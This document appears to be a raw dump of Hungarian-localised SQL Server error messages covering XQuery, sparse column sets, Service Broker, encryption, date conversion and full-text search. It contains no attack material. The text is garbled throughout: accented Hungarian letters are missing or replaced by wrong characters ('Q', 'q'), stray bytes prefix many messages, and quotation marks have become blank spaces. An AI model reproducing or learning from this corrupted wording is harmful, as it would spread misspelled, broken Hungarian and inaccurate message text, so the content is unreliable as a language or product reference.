tXQuery: A kvetkezQ fggvnynek tadott nv, illetve tbbrszes nv  %1!s!  kezdetq rsze nem rvnyes SQL rendszerbeli azonost, mert rvnytelen karaktereket tartalmaz: %2!s!().

xXQuery: Az sql:variable( %1!s! ) fggvnynek megadott nv nem rvnyes SQL-vltoznv. A vltozneveknek a  @  szimblummal kell kezdQdnik, amely utn legfeljebb egy karakter llhat.

XQuery: Az sql:variable() fggvny ltal hivatkozott  %1!s!  nem rvnyes rendszerfggvnynv.

Hiba trtnt az XML-adattpus feldolgozsa kzben. Az XML-adattpus pldnya negatv xs:date vagy xs:dateTime rtket tartalmaz.

Az XQuery mdost metdus nem engedlyezett a ritkaoszlop-kszletekben.

`Nem frissthetQ a(z)  %1!s!  ritkaoszlop-kszlet, mert a megadott XML-tartalom a nem ritka  %2!s!  oszlopra hivatkozik, amely nem ehhez az oszlopkszlethez tartozik. A ritkaoszlop-kszletek frisstshez hasznlt XML-adatok nem hivatkozhatnak olyan oszlopra, amely nem tartozik az oszlopkszlethez.

A megadott XML-tartalom nem felel meg a ritkaoszlop-kszletekhez szksges XML-formtumnak.

A(z)  %1!s!  ritkaoszlop-kszlethez megadott XML-tartalom ismtlQdQ hivatkozsokat tartalmaz a(z)  %2!s!  oszlopra. Az oszlopokra csak egyszer lehet hivatkozni a ritkaoszlop-kszletekhez megadott XML-tartalomban.

tA(z)  %1!s!  ritkaoszlop-kszlethez megadott XML-tartalomban tallhat  %3!s!  elem  %2!s!  attribtumnak rtke az rvnyes tartomnyon kvl esik. Az rvnyes tartomny: 1 %4!s!.

A(z)  %1!s!  oszlopkszlethez megadott XML-tartalomban tallhat  %2!s!  elem sqltypes:scale attribtumnak rtke az rvnyes tartomnyon kvl esik. A skla rvnyes tartomnya 0-tl s a megadott pontossgig terjed.

A(z)  %1!s!  oszlopkszlethez megadott XML-tartalomban tallhat  %3!s!  elem  %2!s!  attribtumnak rtke rvnytelen. Az attribtum csak az sql_variant adattpus ritka oszlopok esetben rvnyes.

Az oszlopkszlet  %1!s!  oszlophoz megadott XML-tartalomban tallhat  %2!s!  elem sqlDBType:base64Encoded attribtuma rvnytelen. A base64Encoded attribtum csak akkor hasznlhat, ha a megfelelQ ritka oszlop karakteres adattpus (char, varchar, nchar, nvarchar), vagy ha a ritka oszlop sql_variant adattpus s az xsi:type attribtum rtke  Char ,  VarChar ,  NChar  vagy  NVarChar .

0Az oszlopkszlet  %1!s!  oszlophoz megadott XML-tartalomban tallhat  %3!s!  elem  %2!s!  attribtuma rvnytelen. Tvoltsa el az attribtumot.

Az oszlopkszlet  %1!s!  oszlophoz megadott XML-tartalomban tallhat  %3!s!  elem  %2!s!  attribtumnak rtke rvnytelen.

A(z)  %1!s!  oszlopkszletre vonatkoz lekrdezs/DML-mqvelet vgrehajtsakor sikertelen volt a konverzi a kvetkezQ oszlop szmra  %2!s!  adattpusrl  %3!s!  adattpusra vgzett konvertlskor:  %4!s! 

A(z)  %1!s!  oszlopkszlethez megadott XML-tartalomban tallhat  %2!s!  elemnek a globlis nvtrben kellene szerepelnie. Tvoltsa el az alaprtelmezett nvtr-deklarcit vagy az elem elQtagjt.

A(z)  %1!s!  oszlopkszletre vonatkoz lekrdezs/DML-mqvelet vgrehajtsakor sikertelen volt a konverzi a kvetkezQ oszlop szmra  %2!s!  adattpusrl  %3!s!  adattpusra vgzett konvertlskor:  %4!s! . Az online knyvekben tovbbi rszletek olvashatk az XML-konverzis metdusok megadsrl a kzs nyelvi futtatkrnyezet tpusaihoz.

Tpussal nem rendelkezQ XML-kdhoz nem adhat meg a MAXLENGTH vagy a SINGLETON bellts, ha mg nincs megadva az XSD-tpus a kvetkezQ szelektv XML-index  %1!s!  elrsi tjhoz:  %2!s! .

0A REMOVE '%1!s!' utasts nem adhat meg tbbszr ugyanahhoz az elrsi thoz a mdostsi utastsban a kvetkezQ szelektv XML-indexhez:  %2!s! .

A(z)  %2!s!  tblzat  %1!s!  szelektv XML-indexvel indexelt kt elrsi t neve azonos lenne az j rendezssel.

A(z)  %1!s!  szelektv XML-index hasznlatval indexelt, azonos elrsit-kifejezsq elrsi utak esetn vagy mindegyikhez meg kell adni a SINGLETON belltst, vagy egyikhez sem szabad megadni.

A szelektv XML-index funkci nem tmogatott az adatbzis aktulis verzijval.

Nem lehet kapcsolatot ltrehozni a kvetkezQhz: %1!s! %2!s!, mert az %3!s!.

Egy rendszerfeladat elindtsa sikertelen volt, hibakd: %1!s!, llapot: %2!s!.

A(z) %1!s! azonostj beszlgetsi priorits el lett dobva.

A(z) %1!s! azonostj beszlgetsi priorits a(z) %2!s! azonostj hinyz szolgltatsra hivatkozik.

A(z) %1!s! azonostj beszlgetsi priorits a(z) %2!s! azonostj hinyz szolgltatsi szerzQdsre hivatkozik.

A(z) %1!s!  %2!s!  neve a maximlisan engedlyezettnl tbb elQtagot tartalmaz. A maximlis szm %3!s!.

DA FROM SERVICE zradkban tallhat  %1!s!  szolgltatsnak meg kell egyeznie a(z)  %2!s!  szolgltatssal, amelyre a kvetkezQ hivatkozik: %3!s! =  %4!s! .

dNem tallhat a megadott  %1!s!  felhasznl.

A(z)  %1!s!  vrakozsi sor nem aktivlhat, mert az aktivls felhasznlja nincs megadva.

A(z)  %1!s!  vrakozsi sor nem aktivlhat, mert az aktivls trolt eljrsa nincs megadva vagy rvnytelen.

Nem sikerlt egy  %1!s!  tpus zenet XML-rvnyestse a clszolgltatsban. %2!s! Ez a kvetkezQ zenetben fordult elQ:  %3!s!  beszlgetsazonost, kezdemnyezQ: %4!s!, zenetsorszm: %5!s!.

Egy  %1!s!  tpus zenet rkezett, de nem sikerlt az XML-rvnyestse. %2!s! Ez a kvetkezQ zenetben fordult elQ:  %3!s!  beszlgetsazonost, kezdemnyezQ: %4!s!, zenetsorszm: %5!s!.

pA(z)  %1!s!  vrakozsi sor jelenleg le van tiltva.

DNem lehet elkldeni az zenetet, mert a szolgltats prbeszdhez rendelt  %1!s!  vrakozsi sora jelenleg le van tiltva, s a visszatarts be van kapcsolva.

Nem sikerlt ltrehozni a szolgltats tvoli  %1!s!  ktst. A(z)  %2!s!  szolgltatshoz mr ltezik tvoli kts.

Az aktivls  %1!s!  trolt eljrsa rvnytelen. A fggvnyek nem engedlyezettek.

$Hiba trtnt egy zenet feldolgozsa kzben a Service Broker sszetevQben s az adatbzis-tkrzsi tvitelben. Hiba: %1!s!, llapot: %2!s!.

|A titkostsi szolgltat krnyezete nincs inicializlva.

|A mqveletnek tadott kulcs nem megfelelQ llapotban van.

|A kulcs mrete nem fogadhat el ehhez a kulcsobjektumhoz.

A kulcs puffermrete nem konzisztens a kulcs modulusnak mretvel.

dBelsQ hiba fordult a Service Broker sszetevQben: Egy objektum nem megfelelQ llapotban van ehhez a mqvelethez. Ez a hiba az SQL Server rendszerrel kapcsolatos slyos problmt jelez. Az SQL Server hibanapljban s a Windows esemnynapliban keresse meg az esetleges hardverproblmra utal adatokat.

A kivonat puffermrete nem megfelelQ a kivonatobjektum inicializlshoz.

A titkostsi/visszafejtsi adatpuffer mrete nem 8 bjthoz illesztett.

dNem megfelelQ a visszafejtett alrs mrete.

dAz alrs nem ellenQrizte a belsQ kivonatot.

A vdQrtk mrete nem fogadhat el ehhez a kulcsobjektumhoz.

PA vdQrtk puffermrete tl kicsi.

@Az tadott nv tl hossz.

A Service Broker nem tudott memrit lefoglalni a titkostsi mqveletek szmra. Ez az zenet egy msik problma tnete. Az SQL Server hibanapljban keresse meg a tovbbi zeneteket, s oldja meg a hibt kivlt problmt.

hA tanstvny nem rvnyes ebben az idQpontban.

HA krt objektum nem tallhat.

|Az tadott szerializlt objektum helytelenl van kdolva.

xA tanstvny vagy a titkos kulcs fjlmrete tl nagy.

Jelsz van megadva, de a titkos kulcs fjlja nincs titkostva.

lA mqvelet hibt okozott az opercis rendszerben.

Nem sikerlt egy titkostsi mqvelet vgrehajtsa. Ez a hiba az SQL Server rendszerrel kapcsolatos slyos problmt jelez. Tovbbi tjkoztatst az SQL Server hibanapljban s a Windows esemnynapliban tall.

Hiba trtnt a Service Broker, illetve az adatbzis-tkrzsi tvitel kapcsolati vgpontjban. Hiba: %1!s!, llapot: %2!s!. (Vgpontkzeli szerepkr: %3!s!, tvoli vgpont cme:  %4!s! )

Hiba trtnt a Service Broker, illetve az adatbzis-tkrzsi tvitel kezelQjben. Hiba: %1!s!, llapot: %2!s!.

Hiba trtnt a Service Broker zenetkezelQjben. Hiba: %1!s!, llapot: %2!s!.

Hiba trtnt a Service Broker kezelQjben. Hiba: %1!s!, llapot: %2!s!.

Hiba trtnt az idQztQ esemny gyorsttrban. Hiba: %1!s!, llapot: %2!s!.

8Helytelenl megformzott zenet rkezett a hlzatbl. Nem lehet lekrni a Service Broker zenetnek attribtumt a(z) %1!s! adatbzis-azonostnak cmzett zenetbQl. Ez hlzati problmra utalhat, vagy arra, hogy egy msik alkalmazs csatlakozott a Service Broker vgpontjhoz.

A(z)  %1!s!  vrakozsi sornl engedlyezve van az aktivls, de a MAX_QUEUE_READERS bellts rtke nulla. Egyetlen eljrs sem lesz aktivlva. Nvelje meg a MAX_QUEUE_READERS bellts rtkt.

HBiztonsgi (SSPI) hiba fordult elQ egy msik Service Broker sszetevQhz val csatlakozskor:  %1!s! . Tovbbi tjkoztatst a Windows esemnynapljban tall.

Nem sikerlt egy titkostsi rendszerhvs a Service Broker vagy az adatbzis-tkrzs mqvelete kzben. Rendszerhiba:  %1!s! .

Nem sikerlt a rendszerhvs a Service Broker vagy az adatbzis-tkrzs mqvelete kzben. Rendszerhiba:  %1!s! .

A Service Broker nem tudta lekrni a munkamenetkulcsot egy zenet titkostshoz.

Az aktivls  %1!s!  trolt eljrsnak alrsa rvnytelen. A paramterek nem engedlyezettek.

`A hasznlni prblt adatbzis nem ltezik.

Az tviteli vrakozsi sor tblastruktrja nem konzisztens az adatbzisban. Lehetsges, hogy megsrlt az adatbzis.

Hiba trtnt a Service Broker csoportos tviteli kezelQjben. Hiba: %1!s!, llapot: %2!s!.

A Service Broker tviteli munkatbljnak struktrja helytelen vagy srlt a tempdb adatbzisban. Ez az adatbzis srlsre vagy hardverproblmkra utalhat. Az SQL Server hibanapljban s a Windows esemnynapliban keresse meg az esetleges hardverproblmra utal adatokat. Indtsa jra az SQL Server rendszert a tempdb adatbzis jbli ltrehozshoz.

Nem lehet hozzfrni az tviteli vrakozsi sor tbljhoz az adatbzisban.

tA(z)  %2!s!  tvonal %1!s! belltsa nem lehet res.

A(z)  %2!s!  tvonal %1!s! belltsnak %3!s! karakternl rvidebbnek kell lennie.

Tkrzs hasznlata esetn meg kell adni a(z)  %1!s!  tvonal SERVICE_NAME s BROKER_INSTANCE belltst.

A(z)  %1!s!  tvonalban nem adhat meg a BROKER_INSTANCE bellts a SERVICE_NAME bellts nlkl.

PA rendszerobjektum nem mdosthat.

A(z)  %1!s!  beszlgetsazonostval rendelkezQ zenetek el lettek tvoltva az tviteli vrakozsi sorbl.

LA(z)  %1!s!  beszlgetslerval rendelkezQ s a(z)  %2!s!  beszlgetscsoporthoz tartoz zenetek el lettek tvoltva a(z) %3!s! azonostj vrakozsi sorbl.

Az aktivls le van tiltva a(z) %1!s! azonostj vrakozsi sornl.

A(z) %1!s! azonostj szolgltatsi szerzQds a(z) %2!s! azonostj hinyz zenettpusra hivatkozik.

A(z) %1!s! azonostj szolgltats a(z) %2!s! azonostj hinyz szolgltatsi szerzQdsre hivatkozik.

A(z) %1!s! azonostj szolgltats a(z) %2!s! azonostj hinyz szolgltatsi vrakozsi sorra hivatkozik.

A beszlgets  %1!s!  vgpontja a hinyz  %2!s!  beszlgetscsoportra hivatkozik.

$A(z)  %1!s!  azonostj beszlgetsi vgpont s az is_initiator: %2!s! a(z) %3!s! azonostj hinyz szolgltatsi szerzQdsre hivatkozik.

A(z)  %1!s!  azonostj beszlgetsi vgpont s az is_initiator: %2!s! a(z) %3!s! azonostj hinyz szolgltatsra hivatkozik.

A(z)  %1!s!  beszlgetscsoport a(z) %2!s! azonostj hinyz szolgltatsra hivatkozik.

pA(z) %1!s! azonostj szolgltats el lett dobva.

A(z) %1!s! azonostj szolgltatsi szerzQds el lett dobva.

A(z) %1!s! lerval rendelkezQ beszlgetsi vgpont el lett dobva.

hA(z)  %1!s!  beszlgetscsoport el lett dobva.

A(z) %1!s! vgpont nem tud figyelni a(z) %2!s! porton, mert azt egy msik folyamat hasznlja.

A(z) %1!s! vgpont nem tudja figyelni a kapcsolatokat a kvetkezQ hiba miatt:  %2!s! .

0Nem sikerlt elindtani a Service Broker kezelQjt. Az SQL Server hibanapljban s a Windows hibanapljban keresse meg a tovbbi hibazeneteket.

Nem sikerlt elegendQ memrit lefoglalni a Service Broker feladatkezelQjnek elindtshoz. Ez az zenet egy msik problma tnete. Az SQL Server hibanapljban keresse meg a tovbbi zeneteket, s oldja meg a hibt kivlt problmt.

Nem lehet elindtani a Service Broker elsQdleges esemnykezelQjt. Ez az zenet egy msik problma tnete. Az SQL Server hibanapljban keresse meg a tovbbi zeneteket, s oldja meg a hibt kivlt problmt.

Nem lehet elindtani a Service Broker biztonsgkezelQjt. Ez az zenet egy msik problma tnete. Az SQL Server hibanapljban s a Windows esemnynapljban keresse meg a tovbbi zeneteket, s oldja meg a hibt kivlt problmt.

Nem sikerlt memrit lefoglalni a Service Broker tovbbi feladatai szmra a processzorok felvtele kzben.

Nem lehet elindtani a Service Broker aktivlskezelQjt. Ez az zenet egy msik problma tnete. Az SQL Server hibanapljban s a Windows esemnynapljban keresse meg a tovbbi zeneteket, s oldja meg a hibt kivlt problmt.

Nem lehet elkldeni az zenetet, mert nem felel meg az XML-rvnyests feltteleinek. Ez a hiba akkor fordult elQ, amikor a rendszer megksrelte elkldeni az zenetet a clszolgltatsnak.

A(z) %1!s! azonostj vrakozsi sorban tallhat zenetek az rvnytelen  %2!s!  beszlgetslerra hivatkoznak.

A(z) %1!s! azonostj trolt eljrs rvnytelen, de a(z) %2!s! azonostj vrakozsi sor hivatkozik r.

Az aktivls %1!s! azonostj felhasznlja rvnytelen, de a(z) %2!s! azonostj vrakozsi sor hivatkozik r.

A(z) %1!s! azonostj vrakozsi sorban tallhat zenetek az rvnytelen  %2!s!  beszlgetscsoportra hivatkoznak.

A(z) %1!s! azonostj vrakozsi sorban tallhat zenetek a(z) %2!s! azonostj rvnytelen zenettpusra hivatkoznak.

A(z)  %1!s!  azonostj beszlgetsi vgpont s az is_initiator: %2!s! az rvnytelen  %3!s!  beszlgetscsoportra hivatkozik.

Az tviteli vrakozsi sor a(z)  %1!s!  azonostj rvnytelen beszlgetsre hivatkozik.

A tvoli szolgltats %1!s! azonostj ktse a(z) %2!s! azonostj rvnytelen szolgltatsi szerzQdsre hivatkozik.

A(z) %1!s! azonostj zenettpus a(z) %2!s! azonostj rvnytelen XML-smagyqjtemnyre hivatkozik.

A(z)  %1!s!  beszlgetslerval rendelkezQ beszlgetsi vgpont inkonzisztens llapotban van. Az SQL Server hibanapljban s a Windows esemnynapliban keresse meg az esetleges hardverproblmra utal adatokat. Az adatbzis kijavtshoz lltsa vissza azt egy tiszta biztonsgi msolatbl. Ha nincs ilyen biztonsgi msolat, futtassa a DBCC CHECKDB utastst. Ne feledje, hogy a DBCC CHECKDB utasts adatokat is trlhet az adatbzis kijavtshoz.

A(z)  %1!s!  beszlgetscsoport %2!s! beszlgetslerra mutat hivatkozst jelez, de valjban %3!s! lerra hivatkozik.

Nem lehet engedlyezni a trolt eljrsok aktivlst a(z)  %1!s!  vrakozsi sorban. A queue_activation esemnyre vonatkoz esemnyrtests mr be van lltva ennl a vrakozsi sornl.

lNem lehet esemnyrtestst ltrehozni a queue_activation esemnyhez a(z)  %1!s!  vrakozsi sorban. A trolt eljrsok aktivlsa mr be van lltva ennl a vrakozsi sornl.

A beszlgetsi vgponthoz tartoz adatbzis csatolt vagy visszalltott llapotban van.

A tvoli beszlgetsi vgponthoz tartoz adatbzis csatolt vagy visszalltott llapotban van.

Az rvnytelen sma el lett dobva a(z) %1!s! azonostj zenettpusbl.

A tvoli szolgltats %1!s! azonostj ktse el lett dobva.

A prbeszdbiztonsg nem rhetQ el ennl a beszlgetsnl, mert nincs tvoli szolgltatsi kts a clszolgltatshoz. Hozzon ltre egy tvoli szolgltatsi ktst, vagy adja meg az ENCRYPTION = OFF belltst a BEGIN DIALOG utastsban.

Nem tallhat a biztonsgi tanstvny, mert a keressi adatbzis rendszerbiztonsgi tagjnak azonostja (%1!s!) rvnytelen. Lehetsges, hogy a rendszerbiztonsgi tag el lett dobva a beszlgets ltrehozsa utn.

Nem tallhat a biztonsgi tanstvny, mert a keressi adatbzis rendszerbiztonsgi tagja (azonost: %1!s!) nem felel meg a kiszolgl rendszerbiztonsgi tagjnak. Lehetsges, hogy a rendszerbiztonsgi tag el lett dobva a beszlgets ltrehozsa utn.

TA prbeszdbiztonsg nem rhetQ el ennl a beszlgetsnl, mert az adatbzis rendszerbiztonsgi tagjhoz (azonost: %1!s!) nincs ktve biztonsgi tanstvny. Hozzon ltre tanstvnyt a rendszerbiztonsgi tag szmra, vagy adja meg az ENCRYPTION = OFF belltst a beszlgets elkezdsekor.

 Nem tallhat titkos kulcs az adatbzis rendszerbiztonsgi tagjhoz (azonost: %1!s!) kttt biztonsgi tanstvnyhoz. Lehetsges, hogy helytelenl trtnt a tanstvny ltrehozsa vagy teleptse. Teleptse jra a tanstvnyt, vagy hozzon ltre j tanstvnyt.

Az adatbzis rendszerbiztonsgi tagjhoz (azonost: %1!s!) kttt biztonsgi tanstvnyhoz tartoz titkos kulcs hosszsga nem kompatibilis a Windows titkostsi szolgltatjval. A kulcs hosszsga 64 bjt tbbszrse lehet.

Az adatbzis rendszerbiztonsgi tagjhoz (azonost: %1!s!) kttt biztonsgi tanstvnyhoz tartoz nyilvnos kulcs hosszsga nem kompatibilis a Windows titkostsi szolgltatjval. A kulcs hosszsga 64 bjt tbbszrse lehet.

Hiba trtnt a prbeszd tvitele kzben. Hiba: %1!s!, llapot: %2!s!. %3!s!

Az adatbzis rendszerbiztonsgi tagjhoz (azonost: %1!s!) kttt biztonsgi tanstvny titkos kulcsa jelszval vdett. Jelszval vdett titkos kulcsok nem hasznlhatk a biztonsgos prbeszdekhez.

Nem lehet ltrehozni a Service Broker zenetkezelQjnek feladatt. Ez az zenet egy msik problma tnete. Az SQL Server hibanapljban s a Windows esemnynapljban keresse meg a tovbbi zeneteket.

A Service Broker zenetkezelQjnek zenettadja %1!s! alkalommal nem tudta vgrehajtani a szksges mqveletet.

Nem lehet elindtani a Service Broker zenetkezelQjt. Ez az zenet egy msik problma tnete. Az SQL Server hibanapljban s a Windows esemnynapljban keresse meg a tovbbi zeneteket, s oldja meg a hibt kivlt problmt.

Az aktivls  %1!s!  trolt eljrsa rvnytelen. Lehetsges, hogy ideiglenes eljrsok nem llthatk be az aktivlshoz.

A(z)  %2!s!  tvonal %1!s! belltsnak cmnek kell lennie tkrzs hasznlata esetn.

xA(z)  %2!s!  tvonal %1!s! belltsa nem rvnyes cm.

A(z)  %1!s!  tvonal ADDRESS belltsa nem lehet  TRANSPORT  rtkq, ha meg van adva a SERVICE_NAME bellts.

A(z)  %1!s!  tvonal LIFETIME belltshoz tartoz rtknek a kvetkezQ tartomnyba kell esnie: %2!s! %3!s!.

A(z)  %1!s!  tvonal ADDRESS s MIRROR_ADDRESS belltsa nem lehet azonos.

DA(z)  %1!s!  prbeszdlerhoz tartoz Broker belltsi beszlgets hiba miatt bezrult. A problma megoldshoz tekintse t a kvetkezQ zenetet:  %2!s! .

DAz adatbzis rendszerbiztonsgi tagjhoz (azonost: %1!s!) kttt biztonsgi tanstvny nem hasznlhat a BEGIN DIALOG utastssal. Ha tjkoztatst szeretne kapni arrl, hogy adhatja meg a tanstvnyok ACTIVE FOR BEGIN_DIALOG belltst, tekintse t az online knyvek tanstvnyokkal s a Service Broker sszetevQvel foglalkoz tmakreit, valamint az ALTER CERTIFICATE (Transact-SQL) utasts szintaxist.

A biztonsgos beszlgetshez rendelt adatbzis-felhasznl el lett dobva, mielQtt sikerlt volna elkldeni a hitelestQ adatokat a tvoli vgpontnak. Ne hasznlja a DROP USER utastst beszlgetsek ltrehozsa kzben. 

A Service Broker nem engedlyezhetQ a(z)  %1!s!  adatbzisban, mert mr van egy engedlyezett Service Broker ugyanazzal az azonostval.

Nem lehet ltrehozni j Service Broker-pldnyt a csak olvashat  %1!s!  adatbzisban.

A Service Broker nem engedlyezhetQ a(z)  %1!s!  adatbzisban, mert a Service Broker adatbzisbeli GUID-azonostja (%2!s!) nem egyezik a sys.databases adatbzisban tallhatval (%3!s!).

j Service Broker nem hozhat ltre tkrztt  %1!s!  adatbzisban.

XNem sikerlt kzbesteni az zenetet, mert nem lehet minQsteni. A hiba oknak megllaptshoz engedlyezze az tvitelszervezQi zenetek minQstsnek nyomkvetst.

Nem sikerlt az talakts. Forrs: %1!s!, cl: %2!s!. Az eredmny csonkolva lesz.

Az SQL Server nem tmogatja a(z) %1!s! terletibellts-azonostt (LCID).

TA(z)  %1!s!  adattpusa rvnytelen.

h#%1!s! oszlop vagy paramter: A msodpercek trtrsznek megadott %2!s! pontossga nem rvnyes a(z) %3!s! adattpushoz. A msodpercek trtrsznek maximlis pontossga %4!s!.

A(z) %2!s! dtumfggvny nem tmogatja a(z) %1!s! dtumrszt.

A bemeneti karakterlnc nem %1!s! stlus. Vltoztassa meg a bemeneti karakterlncot, vagy hasznljon msik stlust.

TA munkamenet NH dtumformtuma nem tmogatott az adott karakterlnc-formtum dtum, idQ, datetime2 (2. dtum s idQ) vagy datetimeoffset (dtum s idQ eltolsa) formtumra trtnQ talaktsakor. Vltoztassa meg a munkamenet dtumformtumt, vagy adjon meg stlust az explicit talaktshoz.

A(z) %1!s! stlus nem tmogatott az olyan talaktsoknl, ahol a forrs %2!s!, a cl pedig %3!s!.

TA(z) %2!s! dtumfggvny nem tmogatja a(z) %1!s! dtumrszt a(z) %3!s! adattpusnl.

hNem sikerlt lekrni a rendszer idQznaadatait.

A beptett %1!s! fggvnynek megadott idQzna rvnytelen.

XA beptett %1!s! fggvnynek megadott idQzna miatt a dtum s idQ eltolsi rtke tlcsordulna az rvnyes dtumok tartomnyn az UTC idQ vagy a helyi idQ esetn is.

|A megadott dtum az iszlm naptr kezdete el esik, amely a Microsoft  kuvaiti algoritmusa  szerint 622. jlius 15. (Julianus-naptr) vagy 622. jlius 18. (proleptikus Gergely-naptr).

A WAITFOR utasts ksleltetse s ideje nem lehet %1!s! tpus.

Az oszlopkszletben tallhat oszlopok szma meghaladja a 2048-at. Cskkentse a hivatkozott oszlopok szmt az oszlopkszletben.

A megadott oszlopkszletrtk hatsra a becslt sormret legalbb %1!s! bjt lesz. Ez meghaladja az engedlyezett maximlis sormretet, ami %2!s! bjt. A sormret cskkentshez cskkentse a megadott oszlopok szmt az oszlopkszletben. 

A fggvnyhvsban megadott, a kulturlis krnyezetet meghatroz  %1!s!  paramter nem tmogatott.

Hiba trtnt a(z)  %1!s!  karakterlncrtk %2!s! adattpusv alaktsakor a kvetkezQ kulturlis krnyezet hasznlatval:  %3!s! .

tKevs a lemezterlet a(z)  %3!s!  ( %4!s! ) adatbzis teljes szveges  %1!s!  ( %2!s! ) katalgusa szmra. A rendszer lelltja az sszes folyamatban lvQ feltltst, s vrakozik, amg tbb szabad terlet lesz elrhetQ. Okkd: %5!s!. Hiba: %6!s!. A feltltsek folytatshoz szabadtson fel lemezterletet.

Hiba trtnt. Nem sikerlt folytatni a teljes szveges %1!s! feltltsrvnyestst a(z)  %3!s!  adatbzis  %2!s!  tbljban vagy indexelt nzetben (tbla vagy indexelt nzet azonostja:  %4!s! , adatbzis azonostja:  %5!s! ). Hiba: 0x%6!s!. Ismtelje meg a folytatst elQidzQ mqveletet, vagy dobja el s hozza ltre jbl az indexet.

BelsQ hiba trtnt a teljes szveges dokumentumazonost-lekpezQben.

Nem sikerlt a teljes szveges DDL-parancs vgrehajtsa, mert az SQL Server egyfelhasznls zemmdban van elindtva.

dA rendszer frissts kzben helyrellthatatlan hibt (0x%1!s!) szlelt a CoCreateGuid fggvnyben. Nem sikerlt a(z)  %2!s!  teljes szveges katalgusfjlnevnek feloldsa.

Nem sikerlt a teljes szveges  %1!s!  katalgus jbli ltrehozsa. A katalgus fejlcfjlja csak olvashat.

Nem sikerlt a teljes szveges  %1!s!  katalgus jbli ltrehozsa. A teljes szveges katalgus csak olvashat.

8A szmtott  %1!s!  oszlop nem hasznlhat teljes szveges keresshez, mert az oszlop nem meghatroz vagy nem pontos s nem lland szmtott oszlop.

lA szmtott  %1!s!  oszlop nem hasznlhat teljes szveges oszlopknt a kp vagy a varbinary(MAX) (vltoz hosszsg binris) tpus oszlopokhoz. Ennek a szmtott oszlopnak meghatroznak, pontosnak vagy llandnak kell lennie, s mretnek %2!s! karakternl kisebbnek vagy ezzel egyenlQnek kell lennie.

Tl sok a teljes szveges oszlop, vagy a teljes szveges lekrdezs tl sszetett a vgrehajtshoz.

Nem tallhat a megadott  %1!s!  felhasznl vagy szerepkr.

Az aktulis  %1!s!  felhasznlnak vagy szerepkrnek nincs megfelelQ engedlye a tulajdonos belltshoz.

A(z)  %1!s!  elrsi thoz rvnytelen attribtumok tartoznak. Az elrsi tnak knyvtrnak kell lennie, amely nem lehet rejtett, nem lehet csak olvashat s nem lehet cserlhetQ meghajtn.

Az SQL Server nem tudott kommuniklni a szqrQdmont indt szolgltatssal (Windows-hiba: %1!s!). Nem sikerlt elindtani a teljes szveges szqrQdmon folyamatt. A teljes szveges keress funkcija nem lesz elrhetQ.

4Az SQL Server nem tudta ltrehozni a(z)  %1!s!  nevestett csvet a teljes szveges szqrQdmonnal val kommunikcihoz (Windows-hiba: %2!s!). Lehetsges okok: mr ltezik nevestett csQ a szqrQdmon gazdafolyamathoz, kevs a szabad erQforrs a rendszerben vagy nem sikerlt megkeresni a szqrQdmon fikcsoportjnak biztonsgi azonostjt (SID). A hiba megoldshoz lltsa le a fut teljes szveges szqrQdmon-folyamatokat, s ha szksges, adja meg jbl a teljes szveges szqrQdmon indtsi szolgltatsfikjnak belltsait. 

Nem hajthat vgre a krt feladat, mert a teljes szveges memriakezelQ nincs inicializlva.

A(z)  %1!s!  nzet nem indexelt nzet. Teljes szveges index nem hozhat ltre ebben a nzetben.

<A teljes szveges katalgus logikai nevt, mrett, maximlis mrett, fjlmret-nvekedst s offline llapott megad tulajdonsgok nem mdosthatk.

Nem sikerlt thelyezni a teljes szveges katalgust. Forrs:  %1!s! , cl:  %2!s! . Hiba az opercis rendszerben:  %3!s! .

Nem sikerlt befejezni a teljes szveges mqveletet. A(z)  %1!s!  fjlcsoport res, csak olvashat vagy nem online llapot.

NULL vagy rvnytelen tpus rtk van megadva a(z)  %1!s!  paramterhez.

Teljes szveges keress nem hasznlhat a master, a tempdb s a model adatbzisban.

$Nem sikerlt befejezni a teljes szveges mqveletet, mert a(z)  %1!s!  tbla vagy indexelt nzet teljes szveges kulcs offline llapotban van.

Az adatbzis nincs teljesen elindtva, vagy nincs ONLINE llapotban. Prblja meg jbl vgrehajtani a teljes szveges DDL-parancsot, amikor az adatbzis mr elindult s ONLINE llapot.

TVltoz paramterek nem adhatk t a tvoli tblra alkalmazott teljes szveges prediktumoknak (contains, freetext) s fggvnyeknek (containstable, freetexttable).

Felhasznli pldnyban nem hasznlhat teljes szveges keress.

8A teljes szveges  %2!s!  sszetevQ  %1!s!  rtke meghaladja az engedlyezett maximlis hosszsgot (%3!s! karakter). Cskkentse az rtk hosszsgt.

|Nincs elegendQ memria a keressitulajdonsg-lista gyorsttrnak ltrehozshoz. Futtassa jbl a teljes szveges indexelsi utastst, amikor tbb szabad erQforrs ll rendelkezsre.

A keressitulajdonsg-listk gyorsttra nem llthat elQ teljes szveges indexels kzben. A bejegyzett keressi tulajdonsgok lekrdezsre tett ksrlet a HRESULT hibakd ltal jelzett belsQ hibt okozott (HRESULT =  0x%1!s! ).

A NEAR zradkban szereplQ max gap argumentumnak a MAX sznak, illetve 0-val egyenlQ vagy annl nagyobb egsz szmnak kell lennie.

A NEAR zradkban szereplQ lekrdezsi kifejezsek szmnak 64-gyel egyenlQnek vagy ennl kisebbnek kell lennie.

A(z)  %1!s!  oszlop nem vehetQ fel teljes szveges indexbe. A teljes szveges indexek legfeljebb 1024 oszlopot tartalmazhatnak. Amikor teljes szveges indexet hoz ltre, kevesebb oszlopot vegyen fel.

A(z)  %2!s!  tblban tallhat  %1!s!  oszlop nem hasznlhat teljes szveges keresshez, mert ez egy ritkaoszlop-kszlet.

DIsmeretlen szolgltati hiba.

tA szolgltat nem vrt katasztroflis hibt jelzett.

dA szolgltat nem valstotta meg a funkcit.

PElfogyott a szolgltat memrija.

A szolgltat rvnytelennek jelzett egy vagy tbb argumentumot.

\A szolgltat nem tmogat egy felletet.

|A szolgltat egy rvnytelen mutat hasznlatt jelezte.

|A szolgltat egy rvnytelen ler hasznlatt jelezte.

\A szolgltat megszaktotta a mqveletet.

|A szolgltat nem adott semmilyen informcit a hibrl.

A mqvelet befejezshez szksges adatok mg nem voltak elrhetQk a szolgltat szmra.

<A hozzfrs megtagadva.

A szolgltat megszaktotta a vgrehajtst, mert elrt egy erQforrskorltot.

A szolgltat egy metdust hvott a fogyasztban lvQ IRowsetNotify felletrQl, de a metdus mg nem trt vissza.

lA szolgltat nem tmogatja a szksges metdust.

A szolgltat azt jelzi, hogy a felhasznlnak nem volt engedlye a mqvelet vgrehajtsra.

A szolgltat kiszolglhibt okozott egy klsQ folyamatban.

HNincs belltott parancsszveg.

DA parancs nincs elQksztve.

<A hitelests sikertelen.

Nem lehet tbb eredmnykszletet visszaadni (a szolgltat nem tmogatja ezt).

